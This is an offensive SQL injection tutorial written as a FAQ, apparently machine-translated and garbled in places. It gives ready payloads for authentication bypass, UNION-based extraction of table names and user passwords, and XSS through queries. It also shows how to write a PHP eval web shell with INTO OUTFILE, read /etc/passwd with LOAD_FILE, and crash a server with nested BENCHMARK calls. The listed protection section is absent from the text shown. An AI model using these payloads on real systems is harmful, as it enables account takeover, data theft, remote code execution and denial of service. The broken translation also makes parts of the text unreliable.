SQL Injection [full FAQ]



  • 0.INTRO
  • 1. HOW TO FIND SQL INJECTION
  • 2. WHAT AND HOW IT CAN BE REMOVED FROM THIS USEFUL
  • 3. WHAT IF THERE IS NO FIELD FIELD.
  • 4. WHAT TO DO IF SOMETHING IS FILTERED.
  • 5. USEFUL FUNCTIONS IN MYSQL
  • 6. HOW TO PROTECT FROM SQL INJECTION
  • 7. SUPPLEMENTS


  • 0.INTRO


    Laziv on the Internet in search of at least some kind of information on SQL injection you probably ran across the articles either very short, or not understandable, or illuminating one topic or something else that of course you did not like. When that and I collected somewhere 10-20 articles on this topic to get into many of the subtleties of this vulnerability. And then remembering those times I decided to write a full FAQ on this topic so that the rest did not suffer. And another request. Those who find that I missed something, where something was wrong, and so please write below, it's hard all the same, keep everything in mind :) . By the way this is my first article, please do not throw tomatoes, and do not kick your feet.

    Not the first day, taking a great interest in burglary, you probably know what SQL injection is, if not, I'm an article for you. SQL injection on just an injection is the type of attack in which the attacker modifies the original request to the database so that when the query is executed, the information it needs from the database is displayed.

    To assimilate this article requires:
    A) Having a brain
    B) Straight arms
    C) Knowledge of the SQL language

    Basically this article was written both for MYSQL + PHP but there are a couple of examples with MSSQL.

    In general, in my opinion the best way to learn how to work correctly with SQL injection is not to read this article, but a live practice , for example, to write the vulnerable script yourself, or use my one at the very end.

    By the way, I advise you to read everything in a row because each paragraph has something important for the next item, etc.

    1. HOW TO FIND SQL INJECTION

    It's quite easy. It is necessary to insert into all fields, variables, cookies double and single quotes.

    1.1 The second first

    Let's start with this script

    1 . Suppose that the original query to the database looks like this:
    SELECT * FROM news WHERE id=' 1 '; Now we will add the quotation mark to the variable "id", like this: if the variable is not filtered and error messages are included, then something like:

    Mysql_query (): You have an error in your SQL syntax; Check the manual that corresponds to your MySQL server version for the right syntax to use near '1' '

    Since in the query to the database there will be an extra quotation mark:
    SELECT * FROM news WHERE id=' 1' '; If the error report is turned off, in this case, you can determine the presence of the vulnerability like this (Also it would do well to prevent this from being confused with point 1.4, as described in the same paragraph): That is, the query to the database will be like this:
    SELECT * FROM news WHERE id=' 1'; -- '; (For those who are in the tank "-" this is the sign of the beginning of the comment all after it will be discarded, I also want to draw your attention to the fact that there must be a space after it (So it is written in the documentation to MYSQL) and by the way in front of it too). Thus, for MYSQL, the query remains the same and the same is displayed as for http: //xxx/news.php? Id = 1
    The whole point 2 is devoted to what to do with this vulnerability.

    1.2 The second case

    In SQL, there is a LIKE statement . It serves to compare strings. Here we allow the authorization script to enter the login and password requests the database like this:
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';

    Even if this script filters the quotation mark, it still remains vulnerable to injection. Instead of the password, we just need to enter "%" (For the LIKE operator, the "%" character matches any string), and then the query becomes
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';

    And we will be allowed inside with the login 'Admin'. In this case, we not only found the SQL injection but also successfully used it.

    1.3 The third case

    What to do if there is no quotation check in the same authorization script. It will be at least foolish to use this injection to output some information. Let's query the database will be of the type:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123';

    Unfortunately the password '123' does not fit :) , But we found the injection is valid in the 'login' parameter and that to register under the nickname 'Admin' we need to enter something like Admin for it '; - that is, the part with the password check is discarded and we enter the nickname 'Admin'.
    SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    And now what to do if the vulnerability in the 'pass' field. We enter into this field the following: 123 'OR login =' Admin '; - . The query will be:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123' OR login = 'Admin'; - ';

    What for the database will be absolutely indeterminate to such a request:
    SELECT * FROM users WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');

    And after these actions we will become the full owner of the account with the login 'Admin'.

    1.4 Fourth case

    Let's return to the news script. From the SQL language, we must remember that the numeric parameters are not put in quotation marks, that is, with such a reference to the script http: //xxx/news.php? Id = 1 the query to the DB looks like this:
    SELECT * FROM news WHERE id = 1 ;

    To detect this injection, you can also substitute the quotation mark in the parameter 'id' and then the same error message will jump out:

    Mysql_query (): You have an error in your SQL syntax; Check the manual that corresponds to your MySQL server version for the right syntax to use near '1' '

    If this message does not vyprigivaet it can be understood that the quotation is filtered and then it is necessary to write http: //xxx/news.php? Id = 1 bla-bla-bla
    DB will not understand this for bla bla bla and will give an error message like:

    Mysql_query (): You have an error in your SQL syntax; 1 bla-bla-bla '(1 bla-bla-bla)

    If the error report is turned off then check here http: //xxx/news.php? Id = 1; -
    It should appear exactly like http: //xxx/news.php? Id = 1

    Now you can proceed to step 2.

    2. WHAT AND HOW IT CAN BE REMOVED FROM THIS USEFUL

    Next, only the type of vulnerability described in paragraph 1.1 will be considered, and altered to the rest can be easy :)

    2.1 The UNION team

    For starters, the most useful is the UNION command (who does not know to go to Google ) ...
    We modify the reference to the script http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . The query to the database we get is like this:
    SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Selection of the number of fields (Method 1)

    Not forgetting about the fact that the number of columns before UNION and after must match for sure the error will come out (unless there is more than one column in the news table) like:

    Mysql_query (): The used SELECT statements have a different number of columns

    In this case, we need to pick up a number of columns (that would be their number before UNION and after matched). We do it this way:

    Http: //xxx/news.php? Id = 1 'UNION SELECT 1, 2 -
    Error. " The used SELECT statements have a different number of columns "

    Http: //xxx/news.php? Id = 1 'UNION SELECT 1,2,3 -
    Error again.
    ...

    Http: //xxx/news.php? Id = 1 'UNION SELECT 1,2,3,4,5,6 -
    ABOUT! It was displayed exactly the same as http: //xxx/news.php? Id = 1
    Means the number of fields selected, that is, 6 pieces ...


    2.1.1.2 Selection of the number of fields (Method 2)

    And this method is based on the selection of the number of fields using GROUP BY . That is a request of this type:

    Http: //xxx/news.php? Id = 1 'GROUP BY 2 -

    It will be displayed without errors if the number of fields is less than or equal to 2.
    We make a request of this type:

    Http: //xxx/news.php? Id = 1 'GROUP BY 10 -

    Oops ... There was a type error.

    Mysql_query (): Unknown column '10' in 'group statement'

    Hence the columns are less than 10. Divide 10 by 2. And make a query

    Http: //xxx/news.php? Id = 1 'GROUP BY 5 -


    There is no error, so the number of columns is greater than or equal to 5 but less than 10. Now, take the average value between 5 and 10, this turns out to be like 7. Do the query:

    Http: //xxx/news.php? Id = 1 'GROUP BY 7 -

    Oh again, a mistake ... :(

    Mysql_query (): Unknown column '7' in 'group statement'

    So the number is greater or equal to 5 but less than 7. Well, we continue to make a request

    Http: //xxx/news.php? Id = 1 'GROUP BY 6 -

    There are no errors ... So the number is greater than or equal to 6 but less than 7. Hence it follows that the required number of columns is 6.

    2.1.1.3 Selecting the number of fields (Method 3)

    The same principle as in clause 2.1.1.2 only uses the ORDER BY function. And the text of the error changes slightly if there are more fields.

    Mysql_query (): Unknown column '10' in 'order clause'

    2.1.2 Definition of output columns

    I think that many of us just like a page like http: //xxx/news.php? Id = 1 will not work. So we need to make it so that on the first request nothing is output (before UNION ). The simplest thing is to change the "id" from "1" to "-1" (or to '9999999')
    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - Now we have some where in the page should be displayed any of these figures. (For example, since this is a conditionally news script, then in the "News Title" it will be displayed as 3, "News" -4 and so on). Now to get some information we need to replace these numbers in the script with the required functions. If the figures are not displayed anywhere, the remaining subparagraphs of clause 2.1 can be omitted.

    2.1.3 SIXSS (SQL Injection CROSS Site Scripting)

    This same XSS only through the request to the database. Example:
    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </ script> ', 5,6 - Well, I think it's not difficult to understand that 4 in the page will be replaced with <script> alert ('SIXSS') </ script> and, accordingly, the same XSS.

    2.1.4 Names of columns / tables

    If you know the names of tables and columns in the database, you can omit this item
    If you do not know ... There are two ways.

    2.1.4.1 Names of columns / tables if there is access to INFORMATION_SCHEMA and if MYSQL version> = 5

    Table INFORMATION_SCHEMA.TABLES contains information about all tables in the database, column TABLE_NAME-table names.
    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - This may cause a problem. Since only the first row of the database response will be displayed. Then we need to use LIMIT like this:

    Output of the first line:
    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -

    Output of the second line:
    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2.1 - etc.

    Well, we found the Users table. Only this ... ah ... the columns do not know ... Then the INFORMATION_SCHEMA.COLUMNS table comes to us. The column COLUMN_NAME contains the column name in the table TABLE_NAME . This is how we retrieve the column names

    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 1,1 -

    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 2.1 -
    etc.

    And now we found the login , password .

    2.1.4.2 Names of columns / tables if there is no access to INFORMATION_SCHEMA

    This is an asshole version :( . Then the usual brutofors comes into force ... Example:

    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 FROM Table_name -

    You need to select the TableName until the following error message disappears:

    Mysql_query (): Table ' Table_name ' does not exist

    Well, we brought to their happiness. Users lost the error message, and the page was displayed as at http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - what does this mean ? This means that the Users table exists and you need to start sorting out the columns.

    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3, ColumnName , 5,6 FROM Users -

    You need to select the ColumnName until the following error message disappears:

    Mysql_query (): Unknown column ' ColumnName ' 'in' field list '

    Where an error message disappears, such a column exists.

    And so we found out that there are login , password columns in the Users table.

    2.1.5 Output of information

    Referring to the script in this manner http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, login, password, 5,6 FROM Users LIMIT 1.1 - Displays us the login and password of the first user from the table Users .

    2.2 Working with files

    2.2.1 Write to file

    Is in MYSQL such interesting function of type SELECT ... INTO OUTFILE allowing to write down the information in a file. Either this design SELECT ... INTO DUMPFILE they are almost similar and you can use any.

    Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    There are several restrictions for it.
    • Do not overwrite files
    • Requires FILE privileges
    • (!) Required are real quotes in specifying the file name

    But what would prevent us from making the web go? Here is an example:

    Http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,' <? Php eval ($ _ GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    It remains only to find the full path to the root of the site on the server and finish it before 1.php. You can find another error on the report which will show the path on the server or leave it in the root of the server and pick it up with local includ, but that's another topic.

    2.2.2 Reading Files

    Consider the function LOAD_FILE

    Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    There are also several restrictions for it.
    • The full path to the file must be specified.
    • Requires FILE privileges
    • The file must reside on the same server
    • The size of this file should be less than specified in max_allowed_packet
    • The file must be opened for reading by the user from under which MYSQL is started

    If the function fails to read the file, it returns NULL.

    2.3 DOS attack on SQL server

    In most cases, the SQL server is finished because it can not do anything else. Type did not get to know the tables / columns, there are no rights to this, there are no rights to that, etc. I'm honestly against this method but still ...

    Closer to the point ...
    The BENCHMARK function performs the same action several times.
    SELECT BENCHMARK (100000, md5 (current_time));

    That is, here this function makes 100000 times md5 (current_time) that I have on my computer takes about 0.7 seconds ... It seemed that there is such ... And if you try the embedded BENCHMARK ?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))));

    It takes a very long time to be honest, I did not even wait ... I had to do a reset :) .
    An example of Dosa in our case:

    Http: //xxx/news.php? Id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)))), 4, 5, 6; -

    It is enough to poke 100 F5 and "the server will fall into a sound down"))).